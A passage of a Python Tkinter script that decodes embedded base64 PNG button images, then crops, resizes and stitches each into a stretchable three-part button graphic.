VgCAAAAoJeBhqWTpS0AAAAAGCgnlgAAAADoRVgCAAAAoBdhCQAAAIBehCUAAAAAehGWAAAAAMajtusgDDIs1Ux8KhwAAADAwDmxBAAAAEAvwhIAAAAAvQhLAAAAAPQiLAEAAADQi7AEAAAAQC/CEgAAAAC9DDQsnSptAQAAAMBAObEEAAAAQC/CEgAAAAC9CEsAAAAA9CIsAQAAANCLsAQAAABALwMNSxvaFQAAAIChcmIJAAAAgF6EJQAAAAB6EZYAAAAA6EVYAgAAAKAXYQkAAACAXgYZlmpOlbYEAAAAYKCcWAIAAACgF2EJAAAAYDRqbYtBEJYAAAAA6EVYAgAAAKAXYQkAAACAXoQlAAAAAHoZaFgqpS0AAAAAGCgnlgAAAADoRVgCAAAAoBdhCQAAAIBehCUAAAAAehGWAAAAAEZjUttiEIQlAAAAAHoRlgAAAADoRVgCAAAAoBdhCQAAAIBehCUAAAAAehGWAAAAAOhFWAIAAACgl4GGpUlpCwAAAAAGyoklAAAAAHoRlgAAAADoRVgCAAAAGI1Zuw6DsAQAAABAL8ISAAAAAL0ISwAAAAD0MsiwVHOqtCUAAAAAA+XEEgAAAAC9CEsAAAAA9CIsAQAAANCLsAQAAABAL8ISAAAAAL0MNCxNfCocAAAAwLcotS0GwYklAAAAAHoRlgAAAADoRVgCAAAAoBdhCQAAAIBehCUAAAAAehGWAAAAAOhloGFpfbsCAAAAMFROLAEAAADQi7AEAAAAQC/CEgAAAAC9CEsAAAAA41HbdRCEJQAAAAB6GWhYWi5tAQAAAEBTUp1YAgAAAKCXr7brIAw0LC0Nqr4BAAAADEFN/a9tOQhOLAEAAACMxKasu6ctB0FYAgAAABiHlQPZdaStB0FYAgAAABiBkhxty8EYaFjyqXAAAAAA36wKS09OSVlpSwAAAAA6JXmkLQdjkGFpY+rDbQkAAADAmkPtOhiDDEvPzoUPtSUAAAAAnZpysC0HY5Bh6e7sPNVdvr42AQAAADDNbHAHcQZ68+4/e9/gF9sSAAAAYOHVVCeWnqySKiwBAAAAfEN9sC0GY7BhaebEEgAAAMA3rE/5clsOxmDD0rpM7mlLAAAAgEV34n/L3q+19WAMNiz9/Vzz5ZJyrI0AAAAAC6skX7oxZdbGwRhsWFp9sGryuTYCAAAALKyaem9bDspgw9Kq7v/cZ9sSAAAAYGFNUv+kLQdl0GGppApLAAAAACmfb4tBGXRYmgpLAAAAACtXZMcgP+Rs0GHpYPYeSurg7ngOAAAAcK6UlHvvzs5TbRyUQYelVZOUP25LAAAAgAU0G+yHmw0+LJXkv7QlAAAAwMKpyWfacnAGH5ZWsvKHbQkAAACwgDYJS30dzXVf7y5/ujYBAAAALI6SPHg037vaRgZp8GFpVfcgfqItAQAAABZGSf10Ww7SSMLS7A/aEgAAAGBhlEwGfYugUYSlTamf7C6ztQkAAABgMVyQKiw9VffnuqMlGexH6wEAAACcefX+r2fP/W0YpFGEpVU15WNtCQAAALAAyuBvDTSasLQ+pz7SlgAAAABzb5J6d1sO1mjC0sG87stJ/UobAQAAAOZYXd6ezU4snUmTTD7clgAAAADz7NNfyauOtfVgjSosFW+HAwAAABZASUZxr+lRhaXDed0XSuqBNgIAAADMpU0pH23LQRtVWFozcWoJAA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'
#img= base64.b64decode(butdef)
img1= base64.b64decode(success)
img2= base64.b64decode(warning)
img3= base64.b64decode(alert)
img4 =base64.b64decode(boring)
img5= base64.b64decode(violet_ver)
img6= base64.b64decode(pink)
img7= base64.b64decode(cyan)
img8= base64.b64decode(info)
img9= base64.b64decode(golden)
img10= base64.b64decode(pure)
img11= base64.b64decode(default)
img12= base64.b64decode(blue)
img13= base64.b64decode(midnight)
img14= base64.b64decode(darkknight)
img15= base64.b64decode(deepbluesea)
#img= Image.open(io.BytesIO(img))
img1= Image.open(io.BytesIO(img1))
img2= Image.open(io.BytesIO(img2))
img3= Image.open(io.BytesIO(img3))
img4= Image.open(io.BytesIO(img4))
img5= Image.open(io.BytesIO(img5))
img6= Image.open(io.BytesIO(img6))
img7= Image.open(io.BytesIO(img7))
img8= Image.open(io.BytesIO(img8))
img9= Image.open(io.BytesIO(img9))
img10= Image.open(io.BytesIO(img10))
img11= Image.open(io.BytesIO(img11))
img12= Image.open(io.BytesIO(img12))
img13= Image.open(io.BytesIO(img13))
img14= Image.open(io.BytesIO(img14))
img15= Image.open(io.BytesIO(img15))
#img= Image.open("ButDef.png")
#img= img.resize((80+len(see)*x,60+(y*i)),Image.ANTIALIAS)
#Img= ImageTk.PhotoImage(img)
#img1=Image.open("ButMaceWindu.png")
img1= img1.resize((120,60),Image.ANTIALIAS)
imga1 = img1.crop((0,0,40,60))
imga1= imga1.resize((40, y), Image.ANTIALIAS)
imgb1 = img1.crop((40,0,80,60))
#xx=(300,80)
imgb1=imgb1.resize((x,y), Image.ANTIALIAS)
imgc1 = img1.crop((80,0,120,60))
imgc1= imgc1.resize((40, y), Image.ANTIALIAS)
imgror1= Image.new('RGBA', (imgb1.size[0]+imga1.size[0]+imgc1.size[0],y), )
imgror1.paste(imga1,(0,0))
imgror1.paste(imgb1, (imga1.size[0],0))
imgror1.paste(imgc1, (imga1.size[0]+imgb1.size[0],0))
img1= imgror1
Img1= ImageTk.PhotoImage(img1)
#img2= Image.open("ButYoda.png")
img2= img2.resize((120,60),Image.ANTIALIAS)
imga2 = img2.crop((0,0,40,60))
imga2= imga2.resize((40, y), Image.ANTIALIAS)
imgb2 = img2.crop((40,0,80,60))
#xx=(300,80)
imgb2=imgb2.resize((x,y), Image.ANTIALIAS)
imgc2 = img2.crop((80,0,120,60))
imgc2= imgc2.resize((40, y), Image.ANTIALIAS)
imgror2= Image.new('RGBA', (imgb2.size[0]+imga2.size[0]+imgc2.size[0],y), )
imgror2.paste(imga2,(0,0))
imgror2.paste(imgb2, (imga2.size[0],0))
imgror2.paste(imgc2, (imga2.size[0]+imgb2.size[0],0))
img2= imgror2
Img2= ImageTk.PhotoImage(img2)
#img3= Image.open("ButInfo.png")
img3= img3.resize((120,60),Image.ANTIALIAS)
imga3 = img3.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img3.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img3.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img3= imgror3
Img3= ImageTk.PhotoImage(img3)
#img4=Image.open("ButAlert.png")
img4= img4.resize((120,60),Image.ANTIALIAS)
imga3 = img4.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img4.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img4.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img4= imgror3
Img4= ImageTk.PhotoImage(img4)
#img5=Image.open("ButBored.png")
img5= img5.resize((120,60),Image.ANTIALIAS)
imga3 = img5.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img5.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img5.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img5= imgror3
Img5= ImageTk.PhotoImage(img5)
#img6=Image.open("ButCyan.png")
img6= img6.resize((120,60),Image.ANTIALIAS)
imga3 = img6.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img6.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img6.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img6= imgror3
Img6= ImageTk.PhotoImage(img6)
#img7=Image.open("ButCartoonish.png")
img7= img7.resize((120,60),Image.ANTIALIAS)
imga3 = img7.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img7.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img7.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img7= imgror3
Img7= ImageTk.PhotoImage(img7)
#img8=Image.open("ButDask.png")
img8= img8.resize((120,60),Image.ANTIALIAS)
imga3 = img8.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img8.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img8.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img8= imgror3
Img8= ImageTk.PhotoImage(img8)
img9= img9.resize((120,60),Image.ANTIALIAS)
imga3 = img9.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img9.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img9.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img9= imgror3
Img9= ImageTk.PhotoImage(img9)
img10= img10.resize((120,60),Image.ANTIALIAS)
imga3 = img10.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img10.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img10.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img10= imgror3
Img10= ImageTk.PhotoImage(img10)
img11= img11.resize((120,60),Image.ANTIALIAS)
imga3 = img11.crop((0,0,40,60))
imga3= imga3.resize((40, y), Image.ANTIALIAS)
imgb3 = img11.crop((40,0,80,60))
#xx=(300,80)
imgb3=imgb3.resize((x,y), Image.ANTIALIAS)
imgc3 = img11.crop((80,0,120,60))
imgc3= imgc3.resize((40, y), Image.ANTIALIAS)
imgror3= Image.new('RGBA', (imgb3.size[0]+imga3.size[0]+imgc3.size[0],y), )
imgror3.paste(imga3,(0,0))
imgror3.paste(imgb3, (imga3.size[0],0))
imgror3.paste(imgc3, (imga3.size[0]+imgb3.size[0],0))
img11= imgror3
